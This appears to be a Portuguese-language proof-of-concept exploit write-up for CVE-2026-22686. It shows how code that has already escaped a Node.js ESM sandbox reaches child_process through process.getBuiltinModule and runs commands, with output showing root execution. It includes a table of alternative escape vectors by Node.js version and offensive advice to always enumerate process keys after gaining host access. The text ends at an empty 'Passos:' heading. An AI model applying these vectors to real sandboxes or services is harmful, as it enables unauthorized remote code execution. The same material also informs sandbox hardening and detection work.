
Prova de conceito de exploit para CVE-2026-22686, demonstrando execução remota de código em sandboxes ESM do Node.js via process.getBuiltinModule para contornar restrições de módulos.
| Vetor | Resultado |
|---|
require('child_process') | ❌ require is not defined — não disponível em ESM |
process.mainModule.require(...) | ❌ Cannot read properties of undefined — mainModule é undefined em ESM |
import('child_process') | ❌ A dynamic import callback was not specified — requer um hook não configurado na sandbox |
process.binding('spawn_sync') | ⚠️ Disponível, mas de baixo nível — exige construção manual de syscalls |
process.getBuiltinModuleEm vez de assumir um método de carregamento de módulos, enumeramos as chaves de process diretamente
do contexto do host (já acessível após a fuga da sandbox):
return Object.keys(process)
Entre as chaves retornadas, getBuiltinModule foi identificada — uma API nativa do Node.js 22+
projetada especificamente para permitir que módulos ESM acessem módulos nativos do Node.js
sem require ou import().
process.getBuiltinModule('child_process').execSync('id').toString()
// → uid=0(root) gid=0(root) groups=0(root) ✅ RCE confirmado
Este é o ponto-chave: process.getBuiltinModule é uma API relativamente nova
(Node.js >= 22.3.0) e é frequentemente ignorada por implementações de sandbox
e regras de WAF que bloqueiam require e import.
Dependendo do ambiente alvo, outros vetores podem estar disponíveis após
enumerar process:
| Vetor | Versão do Node.js | Observações |
|---|---|---|
process.getBuiltinModule('child_process') | >= 22.3.0 | ✅ Mais limpo — API oficial segura para ESM |
process.binding('spawn_sync') | Todas | ⚠️ Baixo nível, exige construção manual de buffers |
process.mainModule.require(...) | Apenas CJS | ❌ Indefinido em ESM |
__non_webpack_require__ | Bundles Webpack | ⚠️ Específico do ambiente |
Module.createRequire(import.meta.url) | >= 12.2.0 | ⚠️ Requer referência de Module do host |
process._linkedBinding('node_os') | Builds internos | ⚠️ Raramente exposto |
Conclusão: Sempre enumere
Object.keys(process)após obter acesso ao contexto do host. A superfície de ataque disponível varia significativamente conforme a versão do Node.js e a configuração do projeto.getBuiltinModuleé o vetor mais confiável em ambientes ESM modernos do Node.js.
Passos:
